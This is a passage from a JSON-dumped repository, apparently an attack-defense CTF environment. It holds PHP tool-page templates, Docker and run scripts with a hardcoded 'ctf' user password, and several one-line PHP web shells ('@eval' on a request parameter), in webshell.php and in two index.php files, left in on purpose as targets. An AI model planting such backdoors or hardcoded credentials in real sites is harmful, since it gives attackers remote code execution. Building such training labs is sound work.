t=\"hmacsha256\" />\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"HmacSHA384\" t=\"hmacsha384\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"HmacSHA512\" t=\"hmacsha512\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"MD5\" t=\"md5\" onclick=\"md5_submit()\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"SHA1\" t=\"sha1\" onclick=\"sha1_submit()\"/>\n                <input type=\"hidden\" name=\"page\" value=\"md5\" />\n                <input type=\"hidden\" id=\"hash_method\" name=\"method\" value=\"\" />\n                <input type=\"button\" id=\"clear\" value=\"清空结果\" class=\"bg-blue02 mb10 YaHei\" />\n                <div class=\"GlOtherWay mt3 pl10 autohide\" style=\"float:left;\" id=\"p_div\"><span>密码：</span><input type=\"text\" class=\"w70 bor-a1s tl\" id=\"pwd\"/></div>\n            </div>\n          </div>\n          \n \n        <!--GuoLvWrap-end-->\n    </form>\n</div>\n<!--ToolMain02-end-->\n<script>\n    function md5_submit(){\n        document.getElementById('hash_method').value=\"md5\";\n        document.getElementById('md5').submit();\n    }\n    function sha1_submit(){\n        document.getElementById('hash_method').value=\"sha1\";\n        document.getElementById('md5').submit();\n    }\n</script>\n\n\n{chinaz:footer}"
  },
  {
    "path": "web_chinaz/chinaz/views/normaliz.php",
    "content": "<html>\n{chinaz:header}\n\n<!--ToolMain02-begin-->\n<div class=\"wrapper wwlr\">  \n    <form method=\"post\" action=\"action.php\" id=\"normaliz\">\n        <!--GuoLvWrap-begin--> \n        <div class=\"clearfix\">\n            <div class=\"pr JsTxtW-r fl\">\n                <textarea form=\"normaliz\" class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"content\" name=\"source\"></textarea> \n                <b class=\"search-hint CentHid\">原始数据</b>\n            </div>\n            <div class=\"pr JsTxtW-r ml15 fl\">\n                <textarea form=\"normaliz\" class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-r\" id=\"result\" name=\"res\"></textarea> \n                <b class=\"search-hint CentHid\">{if:\"{?=res?}\"==\"\"} 结果数据 {else} {?=res?} {end if}</b>\n            </div> \n        </div>\n            <div class=\"GuoLvWrapCenter ptb10 clearfix\">\n            <div class=\"GuoLvCbtn\">\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"IP混淆\" t=\"ip\" onclick=\"ip_submit()\"/>\n                <input class=\"GLOkBtn mb10\" type=\"button\" value=\"邮箱混淆\" t=\"mail\" onclick=\"mail_submit()\"/>\n                <input type=\"hidden\" name=\"page\" value=\"normaliz\" />\n                <input type=\"hidden\" id=\"normaliz_method\" name=\"method\" value=\"\" />\n            <input type=\"reset\" id=\"clear\" value=\"清空结果\" class=\"bg-blue02 YaHei\" />\n            </div>\n          </div>\n\n        <!--GuoLvWrap-end-->\n    </form> \n</div>\n<!--ToolMain02-end-->\n<script>\n    function ip_submit(){\n        document.getElementById('normaliz_method').value=\"/\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+/\";\n        document.getElementById('normaliz').submit();\n    }\n    function mail_submit(){\n        document.getElementById('normaliz_method').value=\"/([0-9A-Za-z\\\\-_\\\\.]+)@([0-9a-z]+\\\\.[a-z]{2,3}(\\\\.[a-z]{2})?)/\";\n        document.getElementById('normaliz').submit();\n    }\n</script>\n\n\n{chinaz:footer}"
  },
  {
    "path": "web_chinaz/chinaz/views/phpcom.php",
    "content": "<html>\n{chinaz:header}\n\n<!--ToolMain02-begin-->\n<div class=\"wrapper\"> \n    <div class=\"wwlr auto\">\n    <form id=\"phpcom\" method=\"POST\" action=\"action.php\">\n        <!--GuoLvWrap-begin--> \n   \t\t<div class=\"clearfix\">\n            <div class=\"pr JsTxtW-r fl\">\n\t\t        <textarea form=\"phpcom\" name=\"source\" class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"txtInitCode\"></textarea> <b class=\"search-hint CentHid\">原始代码</b></div>  \n            <div class=\"pr JsTxtW-r ml20 fl\">\n            <div class=\"JsTxtCo h200 autohide pa\" style=\" top:0;left:0; line-height:200px; text-align:center\" id=\"loading\">正在解析<img src=\"http://cdn..com/tools/images/public/loader.gif\" /></div>\n            <textarea form=\"phpcom\" name=\"res\" class=\"JsTxtCo bor-a1s h200 WrapHid wwlr-l\" id=\"txtResultCode\"></textarea> <b class=\"search-hint CentHid\"> {if:\"{?=res?}\"==\"\"} 结果代码 {else} {?=res?} {end if}</b></div>\n            <input type=\"hidden\" name=\"page\" value=\"phpcom\" />\n     </div>\n        \n          <div class=\"GuoLvWrapCenter pt10 clearfix\">\n            <div class=\"GuoLvCbtn\" id=\"btndiv\">\n            <input type=\"button\" value=\"排版\" class=\"GLOkBtn\" ref=\"beauty\" />\n            <input type=\"button\" value=\"去除注释\" class=\"GLOkBtn\" ref=\"filtercomment\" />\n            <input type=\"submit\" value=\"普通压缩\" class=\"GLOkBtn\" ref=\"basiccompress\" />\n            <input type=\"button\" value=\"加密压缩\" class=\"GLOkBtn\" ref=\"encodecompress\" />\n            <input type=\"button\" value=\"解密\" class=\"GLOkBtn\" ref=\"decodebeauty\" /> \n            <input type=\"button\" value=\"复制\" class=\"bg-blue02\" id=\"clip\" data-clipboard-target=\"txtInitCode\" />\n            <input type=\"button\" id=\"clear\" value=\"清空\" class=\"bg-blue02\" />\n            </div>\n          </div>\n        <!--GuoLvWrap-end-->\n    </form>\n    </div>\n</div>\n<script>    hcj.jstool.init('http://cdn..com/tools/images','7KutWgYPLyOk18Cbz2L9K817XbENwcVH');</script>\n<!--ToolMain02-end-->\n\n{chinaz:footer}"
  },
  {
    "path": "web_chinaz/chinaz/views/templates/footer.php",
    "content": "<!--footer-public-begin-->\n<div class=\"wrapper mt10\">\n<div id=\"centerTxt\"></div>\n<div class=\"ToolsWrap\" id=\"centerImg\"></div>\n         <div class=\"ToolAbout wrapper03\">\n    <div class=\"clearfix\"><h4 class=\"HeadH4 YaHei fz16 col-blue02 fwnone fl\">工具简介</h4>\n        <div class=\"fr fz14\" id=\"toolsIntro\">\n        </div>\n     </div>\n    <div class=\"col-gray01 ToolAbCont\">JS综合工具：js混淆，js加密解密，js格式化,js压缩等功能</div>\n    </div>\n        </div>\n\n    <div class=\"wrapper ptb10 mt10\">\n    \t<div class=\"fotatxtd auto\">\n        <script src=\"http://stats..com/tool_img/tool_aft.js\" type=\"text/javascript\"></script> \n        </div>\n    </div>\n \n<!--ToolFooter-begin-->\n    <div class=\"puw100 h80 bor-t1s mt10 bg-white\">\n    \t\n        <div class=\"ToolFooter\">\n            <p class=\"linkbtn\"><a href=\"http://www..com/aboutus/index.html\" target=\"_blank\">关于站长之家</a> | <a href=\"http://ww..com/aboutus/contact.php\" target=\"_blank\">联系我们\t</a> | <a href=\"http://www..com/aboutus/ad.html\" target=\"_blank\">广告服务</a> | <a href=\"http://www..com/aboutus/link.html\" target=\"_blank\">友情链接</a> | <a href=\"http://www..com/aboutus/events.html\" target=\"_blank\">网站动态</a> | <a href=\"http://www..com/aboutus/announce.html\" target=\"_blank\">版权声明</a> | <a href=\"http://www..com/aboutus/join.html\" target=\"_blank\">人才招聘</a> | <a href=\"http://www..com/aboutus/help.html\" target=\"_blank\">帮助</a></p>\n            <p class=\"info\"><span>© CopyRight 2002-2017, .COM, Inc.All Rights Reserved.</span><span>闽ICP备08105208号</span><span>增值电信业务经营许可证闽B2-20120007号</span><a href=\"http://www.wy.cn\" rel=\"nofollow\" target=\"_blank\" class=\"col-gray02\">服务器资源由唯一网络赞助</a></p>\n        </div>\n    </div>\n    <!--ToolFooter-end-->\n\n<!--footer-public-end-->\n<div id=\"ToolBox\">\n<div id=\"xhead\"></div>\n<ul id=\"xlist\"></ul>\n<div id=\"xfoot\"></div>\n</div>\n<script src=\"http://stats..com/tool_img/tool_a.js\" type=\"text/javascript\"></script>\n<script type=\"text/javascript\" src=\"http://my..com/js/uc.js\" charset=\"utf-8\"></script>\n<div class=\"TFloat-item\" id=\"toTop\"> \n    <a href=\"javascript:\" id=\"TFloat\" title=\"回到顶部\" style=\"display:none;\"></a> <a href=\"http://tool..com/contact\" class=\"feedback\" target=\"_blank\"></a> <a href=\"javascript:\" class=\"Record\" id=\"record\"></a>\n  <div class=\"Record-show \" id=\"RecordShow\" style=\"display:none;\">\n    <div class=\"Tgroup\"> \n        <a href=\"http://seo..com/\" target=\"_blank\">SEO查询</a> \n        <a href=\"http://icp..com/\" target=\"_blank\">备案查询</a> \n        <a href=\"http://ip..com/\" target=\"_blank\">IP查询</a> \n        <a href=\"http://tool..com/kws/\" target=\"_blank\">关键词查询</a> \n        <a href=\"http://link..com/\" target=\"_blank\">友情链接</a> \n        <a href=\"http://tool..com/map.aspx\" class=\"col-hint\" target=\"_blank\">更多工具</a>\n    </div>\n        <div class=\"arr\"></div>\n  </div>\n</div>\n<div class=\"autohide\"><script src='http://s11.cnzz.com/stat.php?id=5082706&web_id=5082706' language='JavaScript' charset='gb2312' type=\"text/javascript\"></script></div>\n</body>\n</html>"
  },
  {
    "path": "web_chinaz/chinaz/views/templates/header.php",
    "content": "<!DOCTYPE html>\n<?php error_reporting(0);?>\n<?php\n    function anti_xss($variable){\n        return htmlspecialchars($variable);\n    }\n?>\n<head>\n<link href=\"favicon.ico\" mce_href=\"favicon.ico\" rel=\"bookmark\" type=\"image/x-icon\" /> \n<link href=\"favicon.ico\" mce_href=\"favicon.ico\" rel=\"icon\" type=\"image/x-icon\" /> \n<link href=\"favicon.ico\" mce_href=\"favicon.ico\" rel=\"shortcut icon\" type=\"image/x-icon\" /> \n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n\n<title>Base64加密、解密 - 站长工具</title>\n<meta name=\"keywords\" content=\"Base64加密,Base64解密,Base64加密解密\"/>\n<meta name=\"description\" content=\"Base64在线加密解密\"/>\n<script>\n    var jsurlbase = 'static/js';\n    var imgurlbase = 'static/images';\n    var styleurlbase = 'static/styles';\n</script>\n<script type=\"text/javascript\" src=\"static/js/mobilepage.js?v=201702\"></script>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"static/styles/all-base.css?v=201607\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"static/styles/publicstyle.css?v=201607\">\n<script type=\"text/javascript\" src=\"static/js/jquery-1.11.3.min.js\"></script>\n<script type=\"text/javascript\" src=\"static/js/jq-public.js?v=201608\"></script>\n<!--[if IE 6]> \n<script type=\"text/javascript\" src=\"http://cdn..com/common/js/DD_belatedPNG.js\"></script>\n<script>    DD_belatedPNG.fix('*');</script>\n<![ENDIF]-->\n<link rel=\"stylesheet\" href=\"static/styles/toolstyle.css\" type=\"text/css\"/>\n</head>\n<body>\n\n    <!--ToolHead-begin-->\n        <div class=\"ToolHead\">\n        <div class=\"wrapper clearfix\">\n            <h1 class=\"ToolLogo fl\"><a href=\"/\"><img src=\"static/images/logo-index.png\" ></a></h1>\n            \n                        <div class=\"fr topTsRight ml10\" id=\"topTxt\"></div>\n            <div class=\"fr topTsCenter\">\n            <script src=\"http://stats..com/tool_img/tool_468.js\" type=\"text/javascript\"></script>\n            </div>\n                    </div>\n    </div>\n        <!--ToolHead-end-->  \n        <!--ToolNavbar-begin--> \n       \n  <div class=\"ToolNavbar\" id=\"ToolNav\">\n    <div class=\"navbar-bg\"><div class=\"navbar-bg-top\"><div class=\"navbar-content pr\">\n          <div class=\"navbar-content-box\">\n              <div class=\"wrapper02 clearfix\" id=\"Navbar\">\n                <ul class=\"w114\"><li class=\"dt\"><a href=\"index.php\">首页</a></li></ul>\n                <ul class=\"odd\"><li class=\"dt\"><a href=\"http://ip..com\">域名/IP类</a></li>\n                  <li class=\"dd\">\n                    <a href=\"http://tool..com/DomainDel/\" target=\"_blank\">域名到期查询</a>\n                    <a href=\"http://del..com\" target=\"_blank\">过期域名查询</a>\n                    <a href=\"http://whois..com\" target=\"_blank\">WHOIS查询</a>\n                    <a href=\"http://ip..com\" target=\"_blank\">IP 查询</a>\n                    <a href=\"http://ip..com/Same/\" target=\"_blank\">同IP网站查询</a>\n                    <a href=\"http://tool..com/dns/\" target=\"_blank\">DNS查询</a>\n                  </li>\n                </ul>\n                <ul class=\"both\"><li class=\"dt\"><a href=\"http://icp..com\">网站信息查询</a></li>\n                  <li class=\"dd\">\n                    <a href=\"http://alexa..com\" target=\"_blank\" class=\"rig\">Alexa排名</a>\n                    <a href=\"http://icp..com\" target=\"_blank\">网站备案查询</a>\n                    <a href=\"http://tool..com/webdetect/\" target=\"_blank\" class=\"rig\">网页检测</a>\n                    <a href=\"http://tool..com/pagestatus/\" target=\"_blank\">HTTP状态查询</a>\n                    <a href=\"http://tool..com/Tools/pagecode.aspx\" target=\"_blank\" class=\"rig\">查看网页源代码</a>\n                    <a href=\"http://tool..com/tools/robot.aspx\" target=\"_blank\">机器人模拟抓取</a>\n                    <a href=\"http://tool..com/robots/\" target=\"_blank\" class=\"rig\">robots.txt生成</a>\n                    <a href=\"http://mobile..com/fiturl_baidu.html\" target=\"_blank\">移动适配生成</a>\n                    <a href=\"http://tool..com/sitespeed\" target=\"_blank\" class=\"rig\">网站速度测试</a>\n                    <a href=\"http://ping..com/\" target=\"_blank\">ping测试</a>\n                    <a href=\"http://mobile..com/\" target=\"_blank\" class=\"rig\">Wap适配</a>\n                    <a href=\"http://tool..com/Gzips/\" target=\"_blank\">网站GZIP压缩</a>\n                  </li>\n                </ul>\n                <ul class=\"both\"><li class=\"dt\"><a href=\"http://seo..com\">SEO查询</a></li>\n                  <li class=\"dd\">\n                    <a href=\"http://seo..com\" target=\"_blank\" class=\"rig\">SEO综合查询</a>\n                    <a href=\"http://wapseo..com\" target=\"_blank\">移动SEO查询</a>\n                    <a href=\"http://link..com\" target=\"_blank\" class=\"rig\">友情链接检测</a>\n                    <a href=\"http://outlink..com\" target=\"_blank\">反链查询</a>\n                    <a href=\"http://tool..com/shoulu/\" target=\"_blank\" class=\"rig\">收录查询</a>\n                    <a href=\"http://tool..com/baidu/metadig.aspx\" target=\"_blank\">META信息挖掘</a> \n                    <a href=\"http://pr..com\" target=\"_blank\" class=\"rig\">PR查询</a>\n                    <a href=\"http://tool..com/kws/\" target=\"_blank\">关键词排名查询</a>\n                    <a href=\"http://tool..com/baidu/words.aspx\" target=\"_blank\" class=\"rig\">关键词挖掘</a>\n                    <a href=\"http://tool..com/kwevaluate\" target=\"_blank\">关键词优化分析</a>\n                    <a href=\"http://tool..com/websitepk.aspx\" target=\"_blank\" class=\"rig\">竞争网站分析</a>\n                    <a href=\"http://tool..com/seocheck\" target=\"_blank\">SEO优化建议</a>\n                  </li>\n                </ul>\n                <ul class=\"odd\"><li class=\"dt\"><a href=\"http://rank..com/all\" class=\"pr\">权重查询<span class=\"ico-navNew pa\"></span></a></li>\n                  <li class=\"dd\">\n                    <a href=\"http://rank..com\" target=\"_blank\">百度权重查询</a>\n                    <a href=\"http://rank..com/baidumobile\" target=\"_blank\">百度移动权重查询</a>\n                    <a href=\"http://rank..com/sorank\" target=\"_blank\">360权重查询</a> \n                    <a href=\"http://rank..com/rank360\" target=\"_blank\">360移动权重查询</a> \n                    <a href=\"http://rank..com/wordsindex.aspx\" target=\"_blank\">指数批量查询</a>\n                    <a href=\"http://index..com/\" target=\"_blank\">关键词指数</a>\n                  </li>\n                </ul>\n                <ul class=\"odd\"><li class=\"dt\"><a href=\"http://tool..com/map.aspx\">辅助工具</a></li>\n                  <li class=\"dd\">\n                    <a href=\"http://tool..com/Tools/textencrypt.aspx\" target=\"_blank\">加密解密</a>\n                    <a href=\"http://tool..com/Tools/Unicode.aspx\" target=\"_blank\">编码转换</a>\n                    <a href=\"http://tool..com/Tools/JsCodeConfusion.aspx\" target=\"_blank\">压缩格式化</a>\n                    <a href=\"http://tool..com/Tools/onlinecolor.aspx\" target=\"_blank\">配色工具</a>\n                    <a href=\"http://tool..com/port/\" target=\"_blank\">端口扫描</a>\n                    <a href=\"http://tool..com/Tracert/\" target=\"_blank\">路由器追踪</a>\n                  </li>\n                </ul>\n              </div>\n          </div>\n        </div></div></div> \n  </div> \n    <!--ToolNavbar-end-->\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n\n            <div class=\"wrapper02 ptb10 ToolsWrapIM clearfix\" id=\"navAfter\"></div>                                            <div class=\"Map-navbar wrapper mb10 clearfix\">\n                    <div class=\"Mnav-left fl\">当前位置： <a href=\"index.php\">站长工具</a> >\n                    <a href=\"index.php?page={?=page?}\">{?=page?}</a></div>\n                    <div class=\"Mnav-right02 fr\" id=\"loc\"></div>\n                </div>\n            </div>\n    <!--top-public-end-->\n\n<!--Tool-MainWrap-begin-->\n<div class=\"Tool-MainWrap wrapper\">\n    <p class=\"ClassHead-wrap clearfix\">\n        <a href=\"index.php?page=js\" {if:\"{?=page?}\"==\"js\"} class=\"CHeadcur\" {else} class=\"\" {end if}>JS代码混淆</a>\n        <a href=\"index.php?page=phpcom\" {if:\"{?=page?}\"==\"phpcom\"} class=\"CHeadcur\" {else} class=\"\" {end if}>PHP压缩</a>\n        <a href=\"index.php?page=uppercase\" {if:\"{?=page?}\"==\"uppercase\"} class=\"CHeadcur\" {else} class=\"\" {end if}>大小写转换</a>\n        <a href=\"index.php?page=normaliz\" {if:\"{?=page?}\"==\"normaliz\"} class=\"CHeadcur\" {else} class=\"\" {end if}>数据混淆</a>\n        <a href=\"index.php?page=base64\" {if:\"{?=page?}\"==\"base64\"} class=\"CHeadcur\" {else} class=\"\" {end if}>Base64</a>\n        <a href=\"index.php?page=md5\" {if:\"{?=page?}\"==\"md5\"} class=\"CHeadcur\" {else} class=\"\" {end if}>MD5</a>\n        <a href=\"index.php?page=html\" {if:\"{?=page?}\"==\"html\"} class=\"CHeadcur\" {else} class=\"\" {end if}>HTML代码转换</a>\n    </p>\n</div>\n<!--Tool-MainWrap-begin-->"
  },
  {
    "path": "web_chinaz/chinaz/webshell.php",
    "content": "<?php @eval($_POST['moxiaoxi']);?>\n"
  },
  {
    "path": "web_chinaz/docker.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run -p {out_port}:80  -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d  --name {team_name} -ti moxiaoxi/chinaz"
  },
  {
    "path": "web_chinaz/reset_docker.sh",
    "content": "#!/bin/sh\nrm -rf tmp/*\nrm -rf chinaz/*\ncp -R ../web_chinaz/ chinaz/\ncp run.sh tmp/run.sh\ncp flag.py tmp/run.sh\ndocker stop {team_name}\ndocker rm {team_name}\ndocker run -p {out_port}:80  -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d  --name {team_name} -ti moxiaoxi/chinaz"
  },
  {
    "path": "web_chinaz/run.sh",
    "content": "#!/bin/sh\nservice ssh start\na2enmod rewrite\nservice apache2 start\nrm /var/www/html/index.html /var/www/html/phpinfo.php\nchown www-data:www-data /var/www/html/* -R\npython /tmp/flag.py  &  2>&1 1>/dev/null\ncd /var/www/html\nuseradd ctf\necho ctf:moxiaoxi666 | chpasswd\nsleep 2\nrm -rf /tmp\nif [ -x \"extra.sh\" ]; then\n./extra.sh\nfi\n/bin/bash"
  },
  {
    "path": "web_chinaz/tmp/.gitkeep",
    "content": ""
  },
  {
    "path": "web_example1/checker.py",
    "content": "#!/usr/bin/env python\n# -*- coding:utf8 -*-\nimport requests\nimport base64\nimport random\nimport string\n\n\ndef check(target_ip, target_port):\n    res = requests.get('http://{}:{}'.format(target_ip,target_port))\n    if res.status_code == 200:\n        return True\n    return False\n\n\n\nif __name__ == '__main__':\n    target_ip, target_port = '127.0.0.1', 8801\n    check(target_ip, target_port)\n"
  },
  {
    "path": "web_example1/docker.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run -p {out_port}:80  -p {ssh_port}:22  -v /var/lib/mysql  -v `pwd`/html:/var/www/html -v `pwd`/tmp:/tmp -d  --name {team_name} -ti moxiaoxi/web_example"
  },
  {
    "path": "web_example1/html/index.php",
    "content": "<?php @eval($_REQUEST['moxiaoxi']);\n?>\n"
  },
  {
    "path": "web_example1/run.sh",
    "content": "#!/bin/sh\nservice ssh start\na2enmod rewrite\nservice apache2 start\nchown www-data:www-data /var/www/html/* -R\npython /tmp/flag.py  &  2>&1 1>/dev/null\ncd /var/www/html\nuseradd ctf\necho ctf:moxiaoxi666 | chpasswd\nsleep 2\nrm -rf /tmp\n#service mysql start\n#mysql -e \"source /var/www/html/test.sql;\"\nsupervisord -n\nif [ -x \"extra.sh\" ]; then\n./extra.sh\nfi\n/bin/bash"
  },
  {
    "path": "web_example1/tmp/.gitkeep",
    "content": ""
  },
  {
    "path": "web_example2/Dockerfile",
    "content": "FROM nickistre/ubuntu-lamp\nRUN apt-get update && apt-get dist-upgrade -y\nADD apache2.conf /etc/apache2/apache2.conf\nEXPOSE 80\nEXPOSE 22\nCMD [\"/tmp/run.sh\"]"
  },
  {
    "path": "web_example2/apache2.conf",
    "content": "# This is the main Apache server configuration file.  It contains the\n# configuration directives that give the server its instructions.\n# See http://httpd.apache.org/docs/2.4/ for detailed information about\n# the directives and /usr/share/doc/apache2/README.Debian about Debian specific\n# hints.\n#\n#\n# Summary of how the Apache 2 configuration works in Debian:\n# The Apache 2 web server configuration in Debian is quite different to\n# upstream's suggested way to configure the web server. This is because Debian's\n# default Apache2 installation attempts to make adding and removing modules,\n# virtual hosts, and extra configuration directives as flexible as possible, in\n# order to make automating the changes and administering the server as easy as\n# possible.\n\n# It is split into several files forming the configuration hierarchy outlined\n# below, all located in the /etc/apache2/ directory:\n#\n#\t/etc/apache2/\n#\t|-- apache2.conf\n#\t|\t`--  ports.conf\n#\t|-- mods-enabled\n#\t|\t|-- *.load\n#\t|\t`-- *.conf\n#\t|-- conf-enabled\n#\t|\t`-- *.conf\n# \t`-- sites-enabled\n#\t \t`-- *.conf\n#\n#\n# * apache2.conf is the main configuration file (this file). It puts the pieces\n#   together by including all remaining configuration files when starting up the\n#   web server.\n#\n# * ports.conf is always included from the main configuration file. It is\n#   supposed to determine listening ports for incoming connections which can be\n#   customized anytime.\n#\n# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/\n#   directories contain particular configuration snippets which manage modules,\n#   global configuration fragments, or virtual host configurations,\n#   respectively.\n#\n#   They are activated by symlinking available configuration files from their\n#   respective *-available/ counterparts. These should be managed by using our\n#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See\n#   their respective man pages for detailed information.\n#\n# * The binary is called apache2. Due to the use of environment variables, in\n#   the default configuration, apache2 needs to be started/stopped with\n#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not\n#   work with the default configuration.\n\n\n# Global configuration\n#\n\n#\n# ServerRoot: The top of the directory tree under which the server's\n# configuration, error, and log files are kept.\n#\n# NOTE!  If you intend to place this on an NFS (or otherwise network)\n# mounted filesystem then please read the Mutex documentation (available\n# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);\n# you will save yourself a lot of trouble.\n#\n# Do NOT add a slash at the end of the directory path.\n#\n#ServerRoot \"/etc/apache2\"\n\n#\n# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.\n#\nMutex file:${APACHE_LOCK_DIR} default\n\n#\n# PidFile: The file in which the server should record its process\n# identification number when it starts.\n# This needs to be set in /etc/apache2/envvars\n#\nPidFile ${APACHE_PID_FILE}\n\n#\n# Timeout: The number of seconds before receives and sends time out.\n#\nTimeout 300\n\n#\n# KeepAlive: Whether or not to allow persistent connections (more than\n# one request per connection). Set to \"Off\" to deactivate.\n#\nKeepAlive On\n\n#\n# MaxKeepAliveRequests: The maximum number of requests to allow\n# during a persistent connection. Set to 0 to allow an unlimited amount.\n# We recommend you leave this number high, for maximum performance.\n#\nMaxKeepAliveRequests 100\n\n#\n# KeepAliveTimeout: Number of seconds to wait for the next request from the\n# same client on the same connection.\n#\nKeepAliveTimeout 5\n\n\n# These need to be set in /etc/apache2/envvars\nUser ${APACHE_RUN_USER}\nGroup ${APACHE_RUN_GROUP}\n\n#\n# HostnameLookups: Log the names of clients or just their IP addresses\n# e.g., www.apache.org (on) or 204.62.129.132 (off).\n# The default is off because it'd be overall better for the net if people\n# had to knowingly turn this feature on, since enabling it means that\n# each client request will result in AT LEAST one lookup request to the\n# nameserver.\n#\nHostnameLookups Off\n\n# ErrorLog: The location of the error log file.\n# If you do not specify an ErrorLog directive within a <VirtualHost>\n# container, error messages relating to that virtual host will be\n# logged here.  If you *do* define an error logfile for a <VirtualHost>\n# container, that host's errors will be logged there and not here.\n#\nErrorLog ${APACHE_LOG_DIR}/error.log\n\n#\n# LogLevel: Control the severity of messages logged to the error_log.\n# Available values: trace8, ..., trace1, debug, info, notice, warn,\n# error, crit, alert, emerg.\n# It is also possible to configure the log level for particular modules, e.g.\n# \"LogLevel info ssl:warn\"\n#\nLogLevel warn\n\n# Include module configuration:\nIncludeOptional mods-enabled/*.load\nIncludeOptional mods-enabled/*.conf\n\n# Include list of ports to listen on\nInclude ports.conf\n\n\n# Sets the default security model of the Apache2 HTTPD server. It does\n# not allow access to the root filesystem outside of /usr/share and /var/www.\n# The former is used by web applications packaged in Debian,\n# the latter may be used for local directories served by the web server. If\n# your system is serving content from a sub-directory in /srv you must allow\n# access here, or in any related virtual host.\n<Directory />\n\t# Options FollowSymLinks\n\tAllowOverride all\n\tRequire all denied\n</Directory>\n\n<Directory /usr/share>\n\tAllowOverride all\n\tRequire all granted\n</Directory>\n\n<Directory /var/www/>\n\t#Options Indexes FollowSymLinks\n\tAllowOverride all\n\tRequire all granted\n</Directory>\n\n#<Directory /srv/>\n#\tOptions Indexes FollowSymLinks\n#\tAllowOverride None\n#\tRequire all granted\n#</Directory>\n\n\n\n\n# AccessFileName: The name of the file to look for in each directory\n# for additional configuration directives.  See also the AllowOverride\n# directive.\n#\nAccessFileName .htaccess\n\n#\n# The following lines prevent .htaccess and .htpasswd files from being\n# viewed by Web clients.\n#\n<FilesMatch \"^\\.ht\">\n\tRequire all denied\n</FilesMatch>\n\n\n#\n# The following directives define some format nicknames for use with\n# a CustomLog directive.\n#\n# These deviate from the Common Log Format definitions in that they use %O\n# (the actual bytes sent including headers) instead of %b (the size of the\n# requested file), because the latter makes it impossible to detect partial\n# requests.\n#\n# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.\n# Use mod_remoteip instead.\n#\nLogFormat \"%v:%p %h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" vhost_combined\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %O\" common\nLogFormat \"%{Referer}i -> %U\" referer\nLogFormat \"%{User-agent}i\" agent\n\n# Include of directories ignores editors' and dpkg's backup files,\n# see README.Debian for details.\n\n# Include generic snippets of statements\nIncludeOptional conf-enabled/*.conf\n\n# Include the virtual host configurations:\nIncludeOptional sites-enabled/*.conf\n\n# vim: syntax=apache ts=4 sw=4 sts=4 sr noet\n"
  },
  {
    "path": "web_example2/build_images.sh",
    "content": "#!/bin/sh\ndocker build -t web_example2 ."
  },
  {
    "path": "web_example2/checker.py",
    "content": "#!/usr/bin/env python\n# -*- coding:utf8 -*-\nimport requests\nimport base64\nimport random\nimport string\n\n\ndef check(target_ip, target_port):\n    res = requests.get('http://{}:{}'.format(target_ip,target_port))\n    if res.status_code == 200:\n        return True\n    return False\n\n\n\nif __name__ == '__main__':\n    target_ip, target_port = '127.0.0.1', 8801\n    check(target_ip, target_port)\n"
  },
  {
    "path": "web_example2/docker.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run -p {out_port}:80  -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d  --name {team_name} -ti web_example2"
  },
  {
    "path": "web_example2/html/index.php",
    "content": "<?php @eval($_REQUEST['moxiaoxi']);\n?>\n"
  },
  {
    "path": "web_example2/reset_docker.sh",
    "content": "#!/bin/sh\nrm -rf tmp/*\nrm -rf chinaz/*\ncp -R ../web_chinaz/ chinaz/\ncp run.sh tmp/run.sh\ncp flag.py tmp/run.sh\ndocker stop {team_name}\ndocker rm {team_name}\ndocker run -p {out_port}:80  -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d  --name {team_name} -ti web_example2"
  },
  {
    "path": "web_example2/run.sh",
    "content": "#!/bin/sh\nservice ssh start\na2enmod rewrite\nservice apache2 start\nrm /var/www/html/index.html /var/www/html/phpinfo.php\nchown www-data:www-data /var/www/html/* -R\npython /tmp/flag.py  &  2>&1 1>/dev/null\ncd /var/www/html\nuseradd ctf\necho ctf:moxiaoxi666 | chpasswd\nsleep 2\nrm -rf /tmp\nif [ -x \"extra.sh\" ]; then\n./extra.sh\nfi\n/bin/bash"
  },
  {
    "path": "web_example2/tmp/.gitkeep",
    "content": ""
  },
  {
    "path": "web_gotsctf2018/Dockerfile",
